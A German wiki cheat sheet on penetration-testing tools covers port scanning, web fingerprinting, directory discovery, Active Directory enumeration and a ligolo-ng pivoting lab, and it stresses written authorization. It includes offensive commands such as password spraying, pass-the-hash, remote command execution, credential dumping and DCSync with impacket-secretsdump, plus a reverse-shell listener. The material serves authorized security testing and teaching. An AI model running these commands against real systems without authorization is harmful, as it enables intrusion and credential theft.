Pentest Tools

Aus Xinux Wiki
Version vom 1. Juni 2026, 15:40 Uhr von Thomas.will (Diskussion | Beiträge) (Die Seite wurde neu angelegt: „= Pentest Tools Übersicht = Übersicht über gängige Werkzeuge für professionelle Penetrationstests. Alle Aktivitäten setzen einen schriftlichen Auftrag (…“)
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)
Zur Navigation springen Zur Suche springen

Pentest Tools Übersicht

Übersicht über gängige Werkzeuge für professionelle Penetrationstests. Alle Aktivitäten setzen einen schriftlichen Auftrag (Rules of Engagement) voraus.

Voraussetzungen

  • Kali Linux oder Parrot OS (alle Tools im Repo)
  • Schriftlicher Pentest-Auftrag / ROE
  • Definierter Scope
# Tool-Installation (falls nicht vorhanden)
sudo apt update && sudo apt install -y rustscan feroxbuster dirsearch whatweb netexec bloodhound-python impacket gowitness
pip install cloud-enum --break-system-packages

Reconnaissance

RustScan (Ultra Fast Port Scanner)

Moderner Hochgeschwindigkeits-Portscanner. Deutlich schneller als nmap alleine — scannt alle Ports vor und übergibt Treffer an nmap zur Analyse.

Installation
In Kali enthalten, alternativ: cargo install rustscan
# Basis-Scan
rustscan -a target.com

# Bestimmte Ports
rustscan -a target.com -p 22,80,443

# Alle Ports (1-65535)
rustscan -a target.com -r 1-65535

# Subnetz
rustscan -a 192.168.1.0/24

# Scan-Geschwindigkeit erhöhen (ulimit)
rustscan -a target.com --ulimit 5000

# Direkt an nmap übergeben (Service-Detection)
rustscan -a target.com -- -sV

# Ergebnisse speichern
rustscan -a target.com > rustscan_results.txt

# Timeout anpassen (ms)
rustscan -a target.com -t 2000
Hinweis
--ulimit erhöht die Anzahl gleichzeitiger Verbindungen. Vorsicht auf instabilen Zielen — ggf. reduzieren.

WhatWeb (Web Technology Fingerprinting)

Identifiziert eingesetzte Technologien auf Webservern: CMS, Frameworks, Plugins, Softwareversionen. Nützlich zur Angriffsvektoranalyse.

# Basis-Scan
whatweb https://target.com

# Mehrere Ziele aus Datei
whatweb -i targets.txt

# Verbose-Output
whatweb -v https://target.com

# Aggressiver Scan (Stufe 1-4, Standard ist 1)
whatweb -a 3 https://target.com

# Ausgabe in Datei
whatweb https://target.com -o report.txt

# Gezielt nach Plugin suchen
whatweb --plugins wordpress https://target.com

# Subnetz scannen
whatweb 192.168.1.0/24

# Hilfe
whatweb --help
Aggressionsstufen
1 = passiv (Standard), 3 = aktiv mit mehr Requests, 4 = sehr aggressiv

Gowitness (Web Screenshot Recon)

Erstellt automatisch Screenshots von Weboberflächen. Praktisch bei großen Scopes um Login-Panels, Dashboards und exponierte Interfaces schnell zu identifizieren.

# Einzelner Host
gowitness single https://target.com

# Mehrere Hosts aus Datei
gowitness file -f targets.txt

# Screenshots in Verzeichnis speichern
gowitness file -f targets.txt -P screenshots/

# Mit Timeout (Sekunden)
gowitness single https://target.com --timeout 10

# HTTP und HTTPS erfassen
gowitness file -f targets.txt --disable-tls

# Auflösung setzen
gowitness single https://target.com --resolution-x 1920 --resolution-y 1080

# Datenbank speichern
gowitness file -f targets.txt --db-path gowitness.db

# HTML-Report generieren
gowitness report generate

Cloud_enum (Cloud Asset Discovery)

Findet exponierte Cloud-Ressourcen bei AWS, Azure und Google Cloud — öffentlich erreichbare Storage-Buckets, Services und Infrastruktur.

# Basis-Enumeration
cloud_enum -k target

# Nur AWS
cloud_enum -k target --cloud aws

# Nur Azure
cloud_enum -k target --cloud azure

# Ausgabe in Datei
cloud_enum -k target -o results.txt

# Mehrere Keywords aus Datei
cloud_enum -kf keywords.txt

# Verbose
cloud_enum -k target -v

# Mit Threading
cloud_enum -k target -t 10

# JSON-Output
cloud_enum -k target -o results.json -j
Hinweis
Als Keyword eignen sich Firmenname, Produktnamen, Subdomains — alles was als Bucket-Name auftauchen könnte.

Web Application Testing

Dirsearch (Web Path Discovery)

Findet versteckte Verzeichnisse und Dateien auf Webservern: Admin-Panels, Backup-Dateien, exponierte Endpoints.

# Basis-Scan
dirsearch -u https://target.com

# Eigene Wordlist
dirsearch -u https://target.com -w wordlist.txt

# Bestimmte Extensions
dirsearch -u https://target.com -e php,html,txt

# Mehrere Ziele
dirsearch -l targets.txt

# Ausgabe speichern
dirsearch -u https://target.com -o results.txt

# Thread-Anzahl
dirsearch -u https://target.com -t 50

# Rekursiver Scan
dirsearch -u https://target.com -r

# Silent Mode (nur Treffer)
dirsearch -u https://target.com -q

Feroxbuster (Fast Content Discovery)

Schnelle Alternative zu dirsearch, in Rust geschrieben. Gut für große Wordlists und rekursive Scans.

# Basis-Scan
feroxbuster -u https://target.com -w wordlist.txt

# Rekursiv
feroxbuster -u https://target.com -w wordlist.txt -r

# Mit File-Extensions
feroxbuster -u https://target.com -w wordlist.txt -x php,html,txt

# Ausgabe speichern
feroxbuster -u https://target.com -w wordlist.txt -o results.txt

# Rate Limiting
feroxbuster -u https://target.com -w wordlist.txt --rate-limit 50

# Thread-Anzahl
feroxbuster -u https://target.com -w wordlist.txt -t 50

# Keine Rekursion
feroxbuster -u https://target.com -w wordlist.txt -n

# Silent Mode
feroxbuster -u https://target.com -w wordlist.txt -q
Wordlists
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ist ein guter Startpunkt.

Internal Network / Active Directory

NetExec (Network Exploitation Tool)

Moderner Nachfolger von CrackMapExec. Analysiert SMB, WinRM, SSH und weitere Dienste. Zentral für interne Netzwerktests und Active Directory Enumeration.

# SMB-Dienst scannen
netexec smb target.com

# Subnetz scannen
netexec smb 192.168.1.0/24

# Benutzer enumerieren (Guest-Login)
netexec smb target.com -u guest -p ""

# Mit Credentials authentifizieren
netexec smb target.com -u admin -p password

# Befehl ausführen
netexec smb target.com -u admin -p password -x whoami

# WinRM prüfen
netexec winrm target.com

# SSH prüfen
netexec ssh target.com

# Shares auflisten
netexec smb target.com --shares

# Passwort-Spray (Vorsicht: Lockout-Policy beachten!)
netexec smb 192.168.1.0/24 -u users.txt -p 'Winter2024!'

# Hash-Authentication (Pass-the-Hash)
netexec smb target.com -u admin -H NTLMHASH
Wichtig
Vor Passwort-Spray immer Lockout-Policy prüfen. Im Zweifel: lieber nicht.

BloodHound (Active Directory Enumeration)

Sammelt AD-Informationen und visualisiert Beziehungen zwischen Benutzern, Systemen und Berechtigungen. Zeigt Privilege-Escalation-Pfade im Graphen.

# Alle Daten sammeln
bloodhound-python -d domain.local -u user -p password -c all

# Nur Session-Daten
bloodhound-python -d domain.local -u user -p password -c session

# Mit eigenem DNS-Server
bloodhound-python -d domain.local -u user -p password -ns 192.168.1.10

# Ausgabe in Verzeichnis
bloodhound-python -d domain.local -u user -p password -c all -o output/

# Hash-Authentifizierung
bloodhound-python -d domain.local -u user --hashes LM:NT

# Nur Gruppen
bloodhound-python -d domain.local -u user -p password -c group

# Nur Computer
bloodhound-python -d domain.local -u user -p password -c computer

# LDAPS verwenden
bloodhound-python -d domain.local -u user -p password --use-ldaps
Workflow
1. bloodhound-python → JSON-Dateien generieren
2. Neo4j starten: sudo neo4j start
3. BloodHound GUI starten, JSON-Dateien importieren
4. Vordefinierte Queries nutzen: "Shortest Paths to Domain Admin"

Impacket-secretsdump (Credential Extraction)

Extrahiert Credentials, Passwort-Hashes und Authentifizierungsdaten aus Windows-Systemen. Für AD-Assessments und Credential-Exposure-Analyse.

# Remote Credential Dump
impacket-secretsdump user:password@target.com

# NTLM-Authentifizierung mit Domain
impacket-secretsdump domain/user:password@target.com

# Per IP-Adresse
impacket-secretsdump user:password@192.168.1.10

# Ausgabe in Datei
impacket-secretsdump user:password@target.com > hashes.txt

# Hash-Authentifizierung (Pass-the-Hash)
impacket-secretsdump -hashes LMHASH:NTHASH user@target.com

# Lokale SAM-Datenbank (offline, mit Registry-Hives)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

# Domain Controller (DCSync)
impacket-secretsdump domain/user:password@dc.domain.local

# Debug-Mode
impacket-secretsdump -debug user:password@target.com
Hinweis DCSync
Erfordert Replikationsrechte (Domain Admin oder delegiert). Zieht alle Hashes vom DC ohne direkten Zugriff auf NTDS.dit.

Pivoting und Tunneling

Ligolo-ng (Advanced Pivoting Tool)

Modernes Pivoting-Tool für interne Netzwerke. Erstellt eine transparente Netzwerkverbindung über einen kompromittierten Host — ohne SOCKS-Proxy, direkt über ein tun-Interface. Deutlich komfortabler als klassisches SSH-Tunneling oder Chisel.

Konzept

Angreifer (Kali) ──[ligolo-proxy]──► Pivot-Host ──[ligolo-agent]──► internes Netz
                                     (DMZ)                           (192.168.10.0/24)

Der Proxy läuft auf dem Angreifer-System, der Agent auf dem kompromittierten Host. Nach dem Verbindungsaufbau routet Kali Traffic transparent ins interne Netz.

Lab-Setup

Voraussetzung
Zwei Netzsegmente in Proxmox/VirtualBox:
  • vmbr1 — DMZ-Netz (z.B. 10.10.10.0/24), Kali und Pivot-Host
  • vmbr2 — internes Netz (z.B. 192.168.10.0/24), nur Pivot-Host und Ziele

Schritt 1: Binaries herunterladen

# Auf Kali (Angreifer)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_linux_amd64
chmod +x ligolo-ng_proxy_linux_amd64 ligolo-ng_agent_linux_amd64
mv ligolo-ng_proxy_linux_amd64 ligolo-proxy
mv ligolo-ng_agent_linux_amd64 ligolo-agent
Windows-Agent (für Windows-Pivot-Hosts)
ligolo-ng_agent_windows_amd64.exe vom gleichen Release

Schritt 2: tun-Interface erstellen (Kali)

# Einmalig — tun-Interface anlegen
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

Schritt 3: Proxy starten (Kali)

# Self-signed Cert (für Lab ausreichend)
./ligolo-proxy -selfcert

# Lauscht auf Port 11601 (default)
# Eigenes Zertifikat
./ligolo-proxy -certfile cert.pem -keyfile key.pem

Schritt 4: Agent auf Pivot-Host starten

# Agent auf dem kompromittierten Host ausführen
# (Binary vorher übertragen per scp/wget/curl)
./ligolo-agent -connect KALI_IP:11601 -ignore-cert

# Windows
.\ligolo-agent.exe -connect KALI_IP:11601 -ignore-cert

Schritt 5: Tunnel aufbauen (Proxy-Shell)

# In der ligolo-proxy Shell:

ligolo-ng » session
# → verbundene Agents anzeigen, Nummer eingeben

ligolo-ng » ifconfig
# → Netzwerkinterfaces des Pivot-Hosts anzeigen
# → internes Netz identifizieren (z.B. 192.168.10.0/24)

ligolo-ng » tunnel_start
# → Tunnel aktiv

Schritt 6: Route auf Kali setzen

# Internes Netz über ligolo-Interface routen
sudo ip route add 192.168.10.0/24 dev ligolo

# Prüfen
ip route show | grep ligolo

Schritt 7: Internes Netz scannen

# Ab jetzt direkt aus Kali — kein Proxy-Chain nötig
nmap -sT -p 1-1000 192.168.10.0/24
rustscan -a 192.168.10.0/24
netexec smb 192.168.10.0/24

Tunnel beenden

ligolo-ng » tunnel_stop
ligolo-ng » exit
# Route entfernen
sudo ip route del 192.168.10.0/24 dev ligolo

Listener (Reverse Shells durch den Tunnel)

Wenn eine Reverse Shell aus dem internen Netz zu Kali zurückkommen soll:

# In der Proxy-Shell einen Listener definieren
ligolo-ng » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444

# Payload auf internem Ziel: Connect zu PIVOT_HOST:4444
# Ligolo leitet weiter zu Kali:4444
# Kali: netcat lauscht
nc -lvnp 4444

Typischer Workflow

1. Scope definieren, ROE unterschrieben

2. Recon extern
   rustscan → offene Ports
   whatweb   → Technologie-Fingerprint
   cloud_enum → Cloud-Assets

3. Web Application
   dirsearch / feroxbuster → versteckte Pfade
   gowitness → visuelle Übersicht bei vielen Hosts

4. Foothold
   netexec smb → SMB-Enumeration, Shares
   impacket-secretsdump → Credential Dump nach Zugriff

5. Internal
   bloodhound-python → AD-Mapping
   netexec → lateral movement

6. Pivoting (bei Segmentierung)
   ligolo-ng → Tunnel ins interne Netz
   → Tools laufen dann direkt gegen interne Ziele

Siehe auch